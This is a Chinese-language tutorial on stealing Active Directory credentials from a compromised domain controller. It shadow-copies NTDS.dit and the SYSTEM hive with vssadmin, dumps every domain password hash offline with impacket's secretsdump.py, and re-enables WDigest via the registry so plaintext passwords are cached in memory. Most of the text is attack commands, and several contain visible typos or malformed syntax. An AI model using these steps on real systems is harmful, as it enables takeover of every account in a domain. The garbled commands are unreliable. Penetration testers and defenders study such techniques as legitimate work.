域渗透之获得域控服务器的NTDS.dit文件

前言:

ntds.dit是主要的AD数据库,存放在c:\windows\NTDS\NTDS.dit,包括有关域用户,组和成员身份的信息,它还包括域中所有用户的密码哈希值,为了进一步保护哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
因为这两个文件属于系统特殊文件,不能直接复制粘贴,所以需要用特殊的方式来复制粘贴。
当我们拿到域控的权限后,我们可以跑域内所有的hash值,但是如果在线跑hash的话,是比较容易被杀软等软件阻止的,所以我们可以将NTDS.dit文件和SYSTEM复制到本地进行遍历。

利用方式:

利用vssadmin命令创建C盘卷影拷贝:
第一步:打开cmd执行命令:vssadmin create shadow /for=C:
此时卷影副本卷名就是域控的C盘。
在这里插入图片描述
第二步:执行copy \\?\GLOBALRO0T\Device\HarddiskUo lumeShadowCopy5\windows\NTDS\NTDS.dit C:\Users 即可将ntds.dit文件拷贝到C盘的Users用户下。
在这里插入图片描述
第三步:执行 copyt \\?\GLOBALRO0T\Device\HarddiskUo lumeShadowCopy5\windows\System32\config\SYSTEM C:\Users 将SYSTEM文件复制到C盘Users下
在这里插入图片描述
此时在C:\Users下就可以看到我们复制出来的2个文件了。

在这里插入图片描述
第四步:利用impacket工具包的脚本文件secretsdump.py来进行离线破解,命令如下:
python secretsdump.py -ntds ~/impacket-master/examples/ntds.dit -system ~/impacket-master/examples/SYSTEM LOCAL
成功遍历出所有域内hash。
在这里插入图片描述

总结:

上面介绍的复制hash文件的方法,vssadmin命令是域控系统中自带的,当然了除了这种方式还有其他很多方式来离线抓取hash的。

那么明文密码的抓取,windows8.1以上版本或者打过补丁KB2871997的机器,lsass中不会存储密码,如果想抓取明文,可以将注册表 HKLM(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control securityProviders\Wdigest下的UselogonCredential设置为1
类型为DWORD32

也可以直接使用命令:
Reg add HKLM\SYSTEM\CurrentControlSet\Control\securityProviders Wdigest/v UselogonCredential/t REG_DWORD/d 1